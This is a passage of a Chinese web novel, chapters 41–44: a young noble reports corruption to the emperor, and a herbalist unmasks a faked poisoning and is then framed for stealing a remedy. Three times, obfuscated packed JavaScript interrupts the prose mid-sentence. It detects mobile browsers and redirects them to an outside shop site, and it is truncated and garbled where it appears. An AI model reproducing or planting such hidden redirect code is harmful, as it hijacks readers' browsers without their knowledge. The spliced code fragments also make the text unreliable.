“快起来，快起来！”老夫人一迭连声，眼中笑意藏都藏不住，亲自伸手去扶，“让我好好看看……瘦了，定是在外头没好好吃饭。” 裴宴顺势起身，扶着祖母往屋里走：“孙儿一切都好，倒是祖母，看着清减了些。” “我有什么清减的，整日在府里养着。”老夫人拉他在身边坐下，一迭连声吩咐丫鬟，“快拿帕子来给宴哥儿擦脸，去沏茶，要刚送来的明前龙井。厨房里炖的银耳莲子羹也端一碗来……” 丫鬟们忙成一团。裴宴接过温热的帕子擦了脸手，这才在祖母下首的绣墩上坐下。 “你外祖母身子可硬朗？”老夫人问起江南的事。 “外祖母身子康健，让孙儿代问祖母安好。”裴宴答道，“二舅父、舅母也都好。谦表哥还托孙儿带了些江南的土仪，跟在后面，明日便能送到。” 提到沈家，老夫人脸上笑容淡了些，眼中闪过一丝复杂的追忆，却也没多说什么，最终只点点头：“难为他们惦记。”她顿了顿，看着孙儿眉宇间藏不住的倦色，话锋一转，“你一路舟车劳顿，先回房歇歇。有什么话，明日再说。” 裴宴确实累了。连日赶路，加上在江南那些明察暗访，身心俱疲。他起身行礼：“那孙儿先告退，晚些再来陪祖母用饭。” “去吧去吧，好生歇着。”老夫人慈爱地摆手。 裴宴的院子在国公府东侧，名唤“九思居”。院名取自“君子有九思”，透着克己复礼的肃然，与他此刻风尘仆仆的归来形成一种微妙反差。三进的院落不算阔朗，却极清幽。一池活水引自外头的金水河，潺潺环绕，池边翠竹与芭蕉绿意正浓，在午后光影里泛着油润的光泽。 他刚踏进月洞门，原本静谧的院子仿佛被投入石子的静水，瞬间活络起来。早已得了消息、翘首以盼的丫鬟们，如归巢的雀儿般从各处盈盈涌现，一拥而上，将他妥帖地拱卫在中心。 “公子回来了！” “公子一路可安顺？” “热水一直备着呢！” 管事大丫鬟秋月领首上前，声音清脆却有条不紊，压下了一片叽叽喳喳的问候。她身后，几个伶俐的二等丫鬟已然各司其职：一个无声接过他沾了尘灰的披风，一个递上温度恰好的沁香帕子，另一个已捧着干净的软鞋候在一旁。 “公子是先沐浴解乏，还是先用些清淡茶点垫垫？”秋月微微仰头，目光关切地扫过他眼底的淡青。 “沐浴。”裴宴简短道，声音里的疲惫在回到熟悉的环境后，似乎更明显了些。他任由丫鬟们簇拥着往正房去，那阵势并非喧闹，而是一种训练有素、密不透风的体贴，将他与外界的一切烦扰暂时隔开。 屋里一切如旧。紫檀木的多宝阁，官帽椅，临窗的书案上笔墨纸砚摆放得整整齐齐，连他离京前看了一半的那本兵书，都还摊开在原来的位置。空气中弥漫着淡淡的檀香味，是他惯用的熏香。 裴宴站在屋中，环视一周，忽然有种恍如隔世的感觉。 在江南这一个多月，看的是小桥流水，听的是吴侬软语，接触的是市井百姓、江湖郎中。而这里，是高门深院，是钟鸣鼎食，是权谋算计。 两个世界。 他摇摇头，将这莫名的感慨压下。丫鬟已备好了热水，他走进盥洗室，褪去沾满尘土的衣衫，将自己浸入温热的水中。 水汽氤氲，疲惫一点点从骨缝里渗出来。裴宴闭上眼，脑海里却不由自主地浮现出一些画面—— 纯阳宫石径上那个雨过天青色的身影；柳枝巷小院里那双清亮坦然的眼；还有那夜翻墙而入时，她惊吓后又强作镇定的模样…… 他猛地睁开眼。 不该想这些。 明日要进宫面圣，江南的事需得仔细禀报。那些私盐、漕运、贪墨的线索千头万绪，牵涉的官员从地方到中枢，个个都不是省油的灯。尤其是崔琰…… 裴宴眼神沉了下来。 这个老太监，在江南经营多年，手伸得极长。盐、茶、漕运，处处都有他的影子。更棘手的是，朝中似乎也有人与他勾连…… 他起身，换上干净的月白中衣，外罩一件石青色家常道袍。秋月端来热茶和几样点心，他挥手让丫鬟们都退了下去。简单用了些点心，他便在书案前坐下，取出路上整理的密报，细细翻阅。 烛火燃起时，他已将江南之行的要点梳理清楚。哪些证据确凿，哪些尚需查证，哪些线索指向何人，一一在胸。 窗外天色渐暗，暮色四合。 裴宴吹熄烛火，走到窗前。清风苑里安静得很，只闻竹叶沙沙，池水潺潺。远处隐隐传来更鼓声——戌时了。 他深吸一口气，又缓缓吐出。 明日，还有一场硬仗要打。 第二日，天还未亮，裴宴便起身了。 秋月伺候他换上朝服——绯色罗袍，腰束玉带，头戴乌纱幞头。镜中的少年眉目清俊，神色沉静，通身透着世家子弟的矜贵与沉稳。 “公子今日要进宫？”秋月一边为他整理衣襟，一边轻声问。 “嗯。”裴宴应了一声，“若老爷回府，就说我午后便回。” “是。” 马车早已候在府门外。裴宴登车，车夫一声轻喝，马车辘辘驶向皇城。 清晨的京城尚未完全苏醒，街道上已有早起的贩夫走卒。卖菜的、挑水的、赶早市的，在薄雾中穿行。马车穿过几条街巷，巍峨的皇城便出现在眼前。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222052|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 朱红的宫墙，金色的琉璃瓦，在晨曦中泛着庄严的光。守卫宫门的禁军认得国公府的车驾，查验了腰牌便放行入内。 裴宴在左银台门外下车，步行入宫。早有内侍等候，引着他往御书房去。 穿过重重宫门，绕过几处殿宇，御书房便到了。这是皇帝日常处理政务、召见近臣的地方，不算宏阔，却处处透着天家的威严。 内侍通报后，书房门开启。裴宴整了整衣冠，垂首入内。 “臣裴宴，叩见陛下。” “平身。”御案后传来一个温和却威仪的声音。 裴宴起身，垂手侍立。抬眼看去，皇帝正坐在紫檀木御案后，穿着明黄色常服，四十来岁的年纪，面容清癯，眼神睿智而深沉。他手边堆着几叠奏章，显是已处理了许久政务。 “江南一行，辛苦了。”皇帝放下手中的朱笔，示意内侍看座。 “臣分内之事。”裴宴在绣墩上坐了半个身子，姿态恭谨。 内侍奉上茶，便悄无声息地退了出去，带上房门。书房里只剩下君臣二人。 皇帝端起茶盏，轻轻撇着浮沫，看似随意地问：“江南风物如何？” “山清水秀，物阜民丰。”裴宴答道，“只是……” “只是什么？” 裴宴抬眼，见皇帝目光如炬，便知不必再绕弯子。他从袖中取出一份密折，双手呈上：“臣在江南暗访月余，查到些事，需禀报陛下。” 皇帝接过密折，展开细看。起初神色尚平静，越往后看，眉头皱得越紧。待看到某处时，脸色陡然阴沉下来。 书房里一片死寂，只闻皇帝翻动纸页的沙沙声。 许久，皇帝放下密折，抬眼看向裴宴，声音听不出情绪：“这些事，你可有实证？” “部分有。”裴宴斟酌着回道，“江南道漕帮与沿途州县官员勾结，贩卖私盐、偷漏税赋，臣已拿到几处码头、盐场的账册副本，人证也有几个。只是……”他顿了顿，“牵涉的官员不少，有些还是朝中重臣的门生故旧。若要一查到底，恐震动朝野。” 皇帝沉默片刻，手指在御案上轻轻叩击，发出有节奏的笃笃声。 “还有一事，”裴宴继续道，声音压得更低，“关于江南路发运使崔琰。” 皇帝眼神陡然锐利：“崔琰？他怎么了？” “臣查到，崔琰在江南这些年，不仅与盐商、漕帮往来密切，更插手茶政、漕运，从中牟利巨万。”裴宴一字一句道，“更可疑的是，他每年往京中运送的‘江南特产’，数额惊人，远超常理。臣怀疑，其中不少是……” 他没说完，但皇帝听懂了。 “送往宫中？”皇帝声音冷了下来。 “臣不敢妄言。”裴宴垂首，“只是崔琰在宫中根基颇深，若真有其事，恐牵涉更广。” 皇帝久久不语。御书房里烛火跳动，将他的影子投在墙上，拉得忽长忽短。 裴宴静静等着。他知道这番话的分量——崔琰不是寻常官员，他是太监，是天子家奴，却在江南只手遮天。若真查下去，牵扯出的恐怕不止是贪墨，更是宫闱秘辛。 良久，皇帝终于开口，声音疲惫：“朕知道了。你且将查到的证据整理好，密奏上来。至于崔琰……”他顿了顿，“先不要打草惊蛇。” “臣遵旨。” 皇帝挥挥手：“你一路劳顿，先回去歇着吧。此事……容朕思量。” 裴宴起身行礼，退了出去。 走出御书房时，日头已升得老高。阳光刺眼，他眯了眯眼，回头望了眼那扇紧闭的朱红大门。 他深吸一口气，迈步走下石阶。 42. 第42章 医患风波 七月，梅雨渐歇，天气一日热过一日。 庆和堂后院的书房里，却门窗紧闭，弥漫着一股压抑的气氛。赵掌柜坐在紫檀木书案后，手里捏着一张药方，眼神阴鸷。对面站着两个汉子，一个四十来岁，面色蜡黄，眼袋浮肿，正是赵掌柜豢养的“药托”刘三；另一个三十出头，精瘦干练，是刘三的搭档王五。 “这次的事，只许成，不许败。”赵掌柜将药方拍在桌上，“大官人那边催得紧，若再办砸了，咱们谁都别想好过。” 刘三赔着笑：“掌柜的放心，这活计咱们干了十几年，从没失过手。那许娇杏不过是个黄毛丫头，能有多大本事？” “你莫要轻敌。”赵掌柜冷冷道，“这丫头能在医药鉴别会上出头，又得了沈府青眼，定有过人之处。大官人吩咐了，要么不做，要做就得做绝，让她再无翻身之日。” 王五凑近些，压低声音：“掌柜的，按您的吩咐，我们都打听清楚了。那张记药铺如今病人多，许娇杏虽不常坐堂，可每逢廖大夫、万大夫忙不过来时，她也会接诊些简单的病症。咱们就挑这个时候去。” “具体怎么安排？”赵掌柜问。 刘三从怀里掏出一张纸，上面密密麻麻记着些字：“这是小的们拟的章程，掌柜的您过目。” 赵掌柜接过细看。计划倒是周密——先由刘三假装病患去张记求诊，许娇杏若接诊，便开方抓药。服药后，刘三会出现“中毒”症状，口吐白沫，昏迷不醒。届时王五带人上门闹事，声称张记药铺庸医害人，要报官查办。 “这‘中毒’的症状……”赵掌柜沉吟，“可要做得真些，莫让人看出破绽。” “掌柜的放心。”刘三嘿嘿一笑，“小的用的那药，是专门配的，服下去后脉象紊乱，面色发青，口吐白沫，与真中毒一般无二。便是经验丰富的老大夫，也难辨真伪。而且药性温和，服了解药半个时辰就能醒，绝不会真伤身子。” 赵掌柜点点头，却又想起一事：“若是那许娇杏不接诊，或是开的方子太简单，闹不大怎么办？” “这小的也想到了。”王五接口，“若她不接诊，咱们就闹，说她见死不救，没有医德。若方子简单，刘三哥就说不舒服，让她改方子，多加几味贵细药材。总之，无论如何都要让她开出一张能‘吃出问题’的方子。” 赵掌柜思忖片刻，终于点头：“好，就按你们说的办。事成之后，少不了你们的好处。” “谢掌柜的！”两人齐声道。 “记住，”赵掌柜站起身，走到窗边，背对着他们，“这事要做得干净，莫要留下把柄。许娇杏那丫头如今有沈府照应，若真闹大了，沈府插手查问，咱们都得吃不了兜着走。” 刘三王五连声应下，躬身退了出去。 书房里只剩赵掌柜一人。他望着窗外熙攘的街市，眼神阴冷。 许娇杏……要怪，就怪你自己不知天高地厚，得罪了不该得罪的人。 张记药铺这几日生意格外好。 自打许娇娇在医药鉴别会上出了名，又有沈府这层关系，来找她看病的人越来越多。虽她大多时候只帮着抓药制药，偶尔接诊些简单的病症，可名声传出去，连带着铺子的生意也红火起来。 这日清晨，许娇娇如常来到铺子。刚进后堂，便见张东家皱着眉头，手里拿着一封信。 “张伯，怎么了？”她上前问。 张东家将信递给她：“苏州那边的药商来信，说今年雨水多，好些药材收成不好，价格要涨三成。” 许娇娇接过信看了看，是张记常年合作的几家药商联名写的，说因天时不利，川黄连、当归、白芍等几味常用药材都要涨价。 “这可如何是好？”她蹙眉，“咱们铺子这些药材存货不多，若真涨价，成本要高出不少。” “正是为难。”张东家叹气，“若是涨价，药价也得跟着涨，可咱们铺子向来以平价惠民著称，这一涨，怕是要流失不少老主顾。若是不涨，这差价就得自己贴，长此以往，铺子也撑不住。” 正说着，前堂传来喧哗声。陈伙计匆匆跑来：“东家，外头来了个病人，说是腹痛难忍，廖大夫和万大夫都还没到，您看……” 张东家忙起身：“我去看看。” 许娇娇也跟着去了前堂。只见一个四十来岁的汉子蜷在长凳上，面色蜡黄，额头冷汗涔涔，双手捂着肚子，嘴里不住呻吟。 “这位大哥，哪里不舒服？”张东家上前问诊。 那汉子抬起头，眼神有些涣散：“肚、肚子疼……像是刀绞一样……大夫，快救救我……” 许娇娇站在一旁，仔细打量这人。面色虽黄，可唇色却正常；虽喊腹痛，可按在腹上的手却不似真痛时那般紧绷。她心中一动，留了个心眼。 张东家诊了脉，脉象弦紧，确有腹痛之征。又问了些症状，那汉子说得含糊，只道是吃了不干净的东西。 “许是食积气滞。”张东家沉吟，“我先开个方子，你服了看看。若不见好，再来复诊。” 他提笔写下：山楂三钱、神曲三钱、陈皮二钱、半夏二钱、茯苓三钱、甘草一钱。是个再平常不过的消食导滞方。 那汉子接过方子，却不急着抓药，反而苦着脸道：“大夫，我这疼得厉害，这方子……管用么？要不要再加几味药？” 张东家皱眉：“药不在多，在对症。你这症候不重，先用这个方子看看。” “可是……”汉子还要再说。 许娇娇忽然开口：“这位大哥，你若信不过东家的方子，不妨去别家医馆看看。仁心堂、济世堂都不远。” 那汉子一愣，眼神闪烁了一下，讪讪道：“不、不是信不过……就是疼得厉害，想快些好。”说着，终于拿着方子去柜台抓药了。 许娇娇看着他离去的背影，心中疑窦更甚。寻常病人求医，大夫开了方子，感激还来不及，哪有嫌药少要求加味的？这人……不对劲。 但她没说什么，只默默记下了这人的样貌。 午时刚过，铺子里病人渐少。许娇娇正在后院炮制一批新到的柴胡，忽听前堂传来震天的哭喊声。 “杀人啦！张记药铺庸医害人啦！” 她心头一跳，放下手中的铜铲，快步往前堂去。 只见铺子门口围了一大群人，指指点点，议论纷纷。当中一个汉子躺在地上，口吐白沫，浑身抽搐，正是上午那个腹痛的病人。旁边一个妇人扑在他身上，哭天抢地：“当家的！你醒醒啊！你可不能有事啊！” 一个精瘦的汉子——正是王五——指着张东家破口大骂：“好你个黑心大夫！我大哥上午来你这看病，吃了你开的药，回去就成这样了！你们这是开的什么毒药？今天不给个说法，咱们就去见官！” 张东家脸色煞白，强自镇定：“这位兄弟，话不能乱说。我开的方子是寻常的消食导滞方，绝无毒副作用。这位大哥的症状，许是别的病因……” “放屁！”王五打断他，“我大哥上午还好好的，吃了你的药就倒了，不是你的药有问题是什么？大伙儿评评理，这药铺是不是草菅人命？” 围观的百姓议论纷纷，有的说张记向来仁厚，不该出事；有的说知人知面不知心，难保不会为了赚钱开错药。 许娇娇挤进人群，蹲下身查看那汉子的情况。面色发青，口吐白沫，脉搏紊乱，确似中毒之象。她翻开他的眼睑，又凑近闻了闻他口中的气味。 忽然，她眉头一皱。 这味道……不对。 真正的中毒，口中应有苦杏仁味或金属味。可这人嘴里只有一股淡淡的药味，混杂着些别的气味——像是……皂角？ 她心中豁然开朗。皂角研粉服下，会刺激咽喉肠胃，引起呕吐、痉挛，症状与中毒相似，却不伤根本。这人定是服了皂角粉，伪装中毒！ “许姑娘，你看这……”张东家急得满头大汗。 许娇娇站起身，扫视众人，朗声道：“诸位乡邻，请听我一言。这位大哥的症状，看着凶险，实则无碍。” 王五立刻跳起来：“你说无碍就无碍？我大哥都这样了！” “正因为‘这样’，才无碍。”许娇娇从容道，“若真是中毒，此刻应已昏迷不醒，脉微欲绝。可这位大哥虽口吐白沫，肢体抽搐，脉搏却有力， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226028|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识也未完全丧失。这分明是服了刺激之物引起的痉挛，并非中毒。” 她转向那哭喊的妇人：“这位大嫂，你丈夫上午来诊病时，可说过他平日有什么隐疾？或是最近吃过什么特别的东西？” 妇人一愣，支吾道：“没、没什么隐疾……就是肚子疼……” “肚子疼？”许娇娇追问，“是哪种疼？胀痛？刺痛？还是绞痛？在哪个位置？疼了多久？” 一连串问题，问得妇人张口结舌，答不上来。 许娇娇心中更有了底，又道：“若真是我铺子的药有问题，此刻该立即报官，请仵作验尸——啊不对，验药。将剩余的药材、药渣都查验清楚，自然水落石出。” 她看向王五：“这位大哥，你可还留着药渣？或是没煎完的药？” 王五脸色一变：“早、早扔了……” “扔了？”许娇娇挑眉，“人还昏迷着，药渣就扔了？这不合常理吧？” 围观的百姓也开始觉得不对劲，议论声渐渐转了风向。 许娇娇趁热打铁，从袖中取出一个小瓷瓶：“我这儿有自制的通窍醒神丸，最擅解痉开窍。这位大哥若信得过，可服一粒，片刻便能醒来。” 王五刚要阻止，地上的汉子忽然抽搐得更厉害，呻吟出声。许娇娇眼疾手快，倒出一粒丸药，捏开他的嘴塞了进去，又灌了少许温水。 不过半盏茶工夫，那汉子的抽搐渐渐停了，口中的白沫也少了。又过了一会儿，他竟慢慢睁开了眼，茫然地看着四周。 “当家的！”妇人扑上去，“你醒了？你感觉怎么样？” 汉子虚弱地开口：“我……我这是怎么了？” 许娇娇蹲下身，温声道：“这位大哥，你上午吃了什么特别的东西么？比如……皂角粉？” 汉子脸色大变，眼神慌乱：“什、什么皂角粉……我不知道……” “不知道？”许娇娇从地上捡起一小撮他吐出的白沫，在指尖捻了捻，“这白沫中有皂角特有的滑腻感，气味也像。你若没吃过，这皂角是从哪儿来的？” 围观的百姓哗然。有人喊道：“皂角粉吃了就会吐白沫，装中毒！这是来讹诈的吧！” 王五见势不妙，转身想溜，却被几个看热闹的汉子堵住了去路。 张东家这时也反应过来，气得浑身发抖：“好哇！原来是来讹诈的！陈平，赶紧去报官！” “别、别报官！”地上的汉子挣扎着爬起来，跪地求饶，“是我们错了！是我们鬼迷心窍！求大夫饶了我们这回吧！” 许娇娇看向张东家。张东家终究心软，叹了口气：“罢了，报官也不必。你们走吧，往后莫再做这等缺德事。” 王五和刘三如蒙大赦，搀扶着那假装中毒的汉子，灰溜溜地挤开人群跑了。 围观的百姓议论纷纷，都说张记药铺仁义，遇上这等事还以德报怨。有人称赞许娇娇医术高明，一眼看穿骗局；有人感慨行医不易，还要防着有人使坏。 待人群散去，张东家拉着许娇娇的手，眼圈泛红：“娇杏，今日多亏了你。若不是你明辨是非，咱们铺子的名声可就毁了。” 许娇娇摇头：“张伯言重了，这是我该做的。”她顿了顿，低声道，“只是……这事恐怕没那么简单。那几个人不像是寻常讹诈的，倒像是……有人指使。” 张东家脸色一肃：“你是说……” “我也说不准。”许娇娇道，“但咱们今后要更加小心。药材涨价的事，也需早做打算。” 张东家点头：“你说得对。我明日便去苏州一趟，亲自与药商谈谈。铺子里……就劳你和廖大夫、万大夫多费心了。” “张伯放心。” 回到后院，许娇娇重新拿起铜铲，继续炮制柴胡。炭火明明灭灭，药香氤氲，可她的心却静不下来。 今日这场风波，来得蹊跷。那几个人演技拙劣，破绽百出，不像是老手。可正因如此，才更可疑——若是有人指使，为何找这么几个不中用的？ 许娇娇心中疑虑，难道这仅仅是试探她的反应？ 或许只是一般的泼皮无赖想要讹些钱财吧！ 43. 第43章 日子滑到了七月中，菰城的天气越来越炎热。 午后，日头白晃晃地悬在天顶，将青石板路晒得发烫。柳枝巷里静悄悄的，家家户户都闭门躲暑，连平日最爱在巷口说闲话的几个婆娘也不见了踪影。 许娇娇的小院里，几株柳树的叶子被晒得蔫蔫的，边缘微微卷曲。墙角那丛月季倒是精神，在烈日下开得正艳，粉红的花朵灼灼地烧着，香气被热气一蒸，浓得化不开。 旺财趴在堂屋门口的阴凉处，舌头吐得老长，呼哧呼哧地喘着气。听到院门声响，它慢腾腾地抬起头，见是许娇娇回来了，这才摇着尾巴站起身，慢吞吞地迎上来。 “热了吧，旺财。”许娇娇弯腰摸了摸它的头，手心感觉到皮毛下的热度。她从怀里掏出个小布包，打开，里头是几块在铺子里冰镇过的绿豆糕。旺财嗅了嗅，欢快地摇起尾巴。 今日铺子里病人不多，张东家特许她下午歇息。她本就打算早些回来，静心说要做荷叶粥解暑，静尘也说有件夏衫快缝好了，要她试试。 推开堂屋的门，一股清凉扑面而来。静心在屋里放了盆井水，丝丝凉意弥漫开来。她正坐在小杌子上择菜，见许娇娇回来，抬头笑了笑：“回来了？锅里炖着绿豆汤，在井里镇着呢，一会儿就能喝。” 静尘则坐在窗下的绣架前，手里拿着一件月白色的夏衫，正细细地缝着领口的滚边。听见动静，她抬起头，眼神温柔：“娇杏，快来试试，只差几针就好了。” 许娇娇放下药箱，走到静尘身边。那夏衫是细葛布的料子，轻薄透气，领口袖口滚着浅青色的边，绣着几丛疏疏的兰草，雅致得很。 “师姐的手艺越发好了。”她由衷赞道。 静尘抿嘴一笑：“你喜欢就好。夏日炎热，穿这个凉快些。”她将最后一针收好，咬断线头，“来，试试看。” 许娇娇接过夏衫，到里间换上。料子贴在身上，果然清凉舒适，尺寸也正合适。她走出来，静尘和静心都眼睛一亮。 “真好看。”静心放下手里的菜，“娇杏穿什么都好看。” 许娇娇有些不好意思，岔开话题：“对了，我刚才回来时，看见隔壁搬来了新邻居？” “是呢！”静心重新坐下择菜，“听说主家姓崔，听刘大娘说，是从京城来的，做点小本生意。夫妻俩带着个女儿，那女儿生得可标致了。” 静尘也道：“今日上午他们搬家时，我还去帮了把手。那崔娘子瞧着不过三十出头，说话细声细气的，模样很是出挑，倒像个大家闺秀。崔先生腿脚不便，拄着拐，人看起来不好相与。” “对对，眼神十分可怕，刘大娘还说……”静心压低声音，神秘兮兮的，“说那夫妻俩看着不像原配。崔娘子太年轻，崔先生却显老，两人之间……总觉得隔着一层。” 许娇娇摇头：“别人家的事，咱们还是少议论。既做了邻居，往后互相照应便是。” 她虽这么说，心里却留了个心眼。柳枝巷虽不是顶好的地段，可也不算差，寻常人家搬来，总有个缘由。那崔家从京城来，人生地不熟，偏选了这里，确实有些蹊跷。 不过转念一想，自己也是外来户，何必疑神疑鬼？便将这些念头压下了。 三人说着闲话，不知不觉说到了落溪村。 静心熬好了荷叶粥，盛了三碗晾着，忽然叹了口气：“说起来，咱们来菰城许久。不知李阿婆他们现在怎样？还有村里那些孩子……” 许娇娇端着碗的手顿了顿。她何尝不记挂？李阿婆待她如亲孙女，村里的孩子们也喜欢她。可因着水仙姑的逼迫，她不得不仓促离开，连道别都来不及。 “等安稳些，咱们可以托人捎封信去。”她轻声道，“只是眼下，还是不要联系的好，免得给李阿婆他们惹麻烦。” 静尘一直沉默着，这时忽然放下手中的针线，抬头看向许娇娇，眼神复杂。 “娇杏，”她声音有些发颤，“有件事……我藏在心里很多年了，一直没敢说。” 许娇娇心头一跳：“师姐，什么事？” 静尘深吸一口气，像是下定了极大的决心。她起身关上堂屋的门，又检查了窗户，这才重新坐下，压低了声音： “是关于……我师父的死。” 许娇娇一怔。了尘师父是水月庵的前任主持，静尘的恩师。她记得静尘说过，了尘师父是突发急症过世的，那时静尘还小，许多事记不清了。 “师父她……不是病逝的么？”许娇娇轻声问。 静尘摇头，眼圈渐渐红了：“我那时虽小，可有些事……我记得清楚。”她顿了顿，声音更低了，“那年我六岁，师父带着我在庵里。有一天，王大官人来了——那时他还不像现在这般显赫，只是个寻常富户。水仙姑……那时还不是主持，只是师父的表妹，来庵里暂住。” 许娇娇屏住呼吸。 “王大官人常来，每次来，水仙姑都会单独见他，两人在禅房里一待就是许久。师父起初不在意，只当是亲戚往来。可后来……”静尘的声音颤抖起来，“后来有一次，师父外出化缘，原本说好傍晚才回，可那天雨大，她提前回来了。” 堂屋里静得可怕，连旺财都似乎察觉到了什么，竖起耳朵，不安地动了动。 “师父回到庵里时，天还没黑。她听见禅房里有动静，便走过去看……”静尘闭上眼，像是要忍住泪水，“门虚掩着，她看见了……王大官人和水仙姑……他们……” 她没有说完，但许娇娇听懂了。 “师父当时就退了回来，什么都没说，回了自己的禅房。那一整夜，她房里的灯都亮着。”静尘睁开眼，眼中已盈满泪水，“第二日一早，水仙姑照常来请安，神色如常。师父也什么都没说，只让她去准备早课。可是……早课还没开始，师父就倒下了。” 许娇娇握住静尘的手，发觉她的手冰凉，还在微微颤抖。 “我当时吓坏了，哭着去喊人。水仙姑来了，看了看师父，说是突发心疾，让人快去请大夫。可那时庵里偏僻，等大夫赶到时，师父已经……”静尘哽咽着，“已经没了气息。” “大夫怎么说？”许娇娇问。 “大夫也说不出所以然，只说是急症。”静尘抹了抹眼泪，“可我记得……师父倒下前，喝了一盏茶。那茶是水仙姑端给她的。” 许娇娇心头一震：“你怀疑……” “我不知道。”静尘摇头，“我那时太小，很多事想不明白。可师父身子一向硬朗，从无隐疾，怎么会突然就……而且那之后，水仙姑很快就接任了主持。再后来，王大官人常来，庵里除了初一十五允许香客入内烧香拜佛，其余时间庵门都是关闭的。对外只说是庵里姑子少，不方便接待，可并不是这样，庵里时常有女子来，可那些进出的女子、孩童……” 她没有再说下去，但许娇娇已经听懂了。 水月庵那些见不得光的勾当，恐怕从那时就开始了。了尘师父撞破了丑事，成了必须除掉的障碍。而水仙姑和王大官人，一个贪财好利，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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吴勇眼睛一亮：“这主意好！医药行当最忌偷师窃方，若坐实了，她在这行就别想立足了。沈府那样的人家，最重名声，也绝不会再庇护一个偷方子的小人。” “正是。”赵掌柜笑道，“我已安排好了。仁心堂制药房有个学徒，叫李二，家里老娘病重，急需用钱。我许了他五十两银子，让他帮忙。” “怎么帮？” “简单。”赵掌柜从抽屉里取出一张纸，“这是’清心丸’的方子。当然，是改过的，有几味药剂量不对，真按这个方子制药，吃不出人命，可也会让人不适。让李二把这方子偷偷塞进许娇杏的药箱里。届时咱们再让人偶然发现，指证她偷方。人证物证俱在，她百口莫辩。” 吴勇思忖片刻，点头：“这法子稳妥。只是……那李二可靠么？” “放心。”赵掌柜自信道，“他老娘的命攥在我手里。我已请了大夫去给他娘看病，药钱都是我出的。他若敢反水，他娘就没了。” 吴勇满意地点头：“好，就按你说的办。需要府衙那边配合的，尽管开口。” “还真需要吴兄弟帮个忙。”赵掌柜道，“事成之后，需得有人去揭发。最好是个有头有脸的人物，说话有分量。” 吴勇想了想：“府衙的刘书吏如何？他管着医药行会的文书，说话有份量，他还是归平县人，更有说服力，而且……”他顿了顿，“他欠二老爷一个人情。” “再好不过！”赵掌柜抚掌，“那就这么说定了。三日后，仁心堂每月请许娇杏去指点制药的日子。就在那天动手。” 两人又商议了一番细节，吴勇才起身告辞。 44. 第44章 自证清白 这一日，仁心堂每月请许娇娇指点制药的日子到了。 这日清晨，许娇娇如常背着药箱出门。药箱是她自己缝制的靛蓝色粗布包，里头装着常用的银针、艾绒、止血药粉，还有几本她常翻的医书笔记。走到巷口时，她回头望了眼柳枝巷——晨光斜斜地照在青石板路上，空气里飘着邻家炊饼的香气，一切平静如常。 她不知道，一场精心策划的阴谋，正等着她。 仁心堂的制药房在后院，是一排三间的瓦房。许娇娇到时，赵药师已在里头了，几个学徒正在分拣药材。见她进来，赵药师含笑招呼：“许娘子来了。今日咱们试制‘清心丸’，这是堂里新研的方子，专治心悸失眠。” 许娇娇放下药箱，净了手，上前看方子。方子写在一张素笺上，字迹工整：丹参三钱、酸枣仁三钱、茯苓三钱、远志二钱、柏子仁二钱、炙甘草一钱。配伍合理，确是个安神定悸的好方。 她仔细看了，点头道：“方子甚好。只是丹参性微寒，若遇脾胃虚寒者，可加少许生姜、大枣调和。” 赵药师眼中露出赞许：“许娘子果然通透。正是如此，堂里备了几种加减方，因人制宜。” 几人便开始制药。许娇娇指导学徒们掌握火候、研磨细度，不时亲自示范。她教得认真，学徒们也学得专注，制药房里弥漫着药材的清香。 谁也没注意，一个叫李二的学徒，趁众人不备，悄悄将一个折好的纸团，塞进了许娇娇放在墙角的药箱夹层里。 午时初，药制得差不多了。赵药师留许娇娇用午饭，她婉言谢绝，说要回张记铺子。正收拾药箱准备离开，外头忽然传来喧哗声。 一个穿着青衫、留着山羊胡的中年男子闯了进来，身后跟着几个衙役模样的人。赵药师眉头一皱：“刘书吏？您这是……” 来人正是府衙的刘书吏，主管医药行会文书。他扫视屋内，目光落在许娇娇身上，沉声道：“有人举报，张记生药铺的许娇杏，偷窃仁心堂秘方‘清心丸’。本官特来查证。” 满室皆惊。 许娇娇心头一沉，面上却保持镇定：“大人何出此言？民女今日是应赵药师之邀，前来指点制药，何来偷窃之说？” 刘书吏冷笑：“是不是偷窃，一查便知。”他转向赵药师，“赵药师，贵堂的‘清心丸’方子，可曾外传？” 赵药师摇头：“此乃堂中秘方，从未外传。” “那就好。”刘书吏一挥手，“搜她的药箱！” 两个衙役上前，不由分说夺过许娇娇的药箱，翻找起来。不过片刻，一人从夹层里摸出一个纸团，展开一看，正是“清心丸”的方子。 “大人，找到了！”衙役将方子呈上。 刘书吏接过，扫了一眼，递给赵药师：“赵药师看看，这可是贵堂的方子？” 赵药师接过，脸色变了变。纸上的方子确实是“清心丸”，字迹也与堂中存档的一般无二。他看向许娇娇，眼神复杂：“许娘子，这……” 许娇娇看着那张突然出现的方子，心中一片雪亮，难怪今早起来，就觉得心中不安，原是在这里等呢！ “许娇杏，你还有何话说？”刘书吏厉声道，“偷窃秘方，在医药行当里是十恶不赦的大罪！来人，将她拿下，带回府衙！” 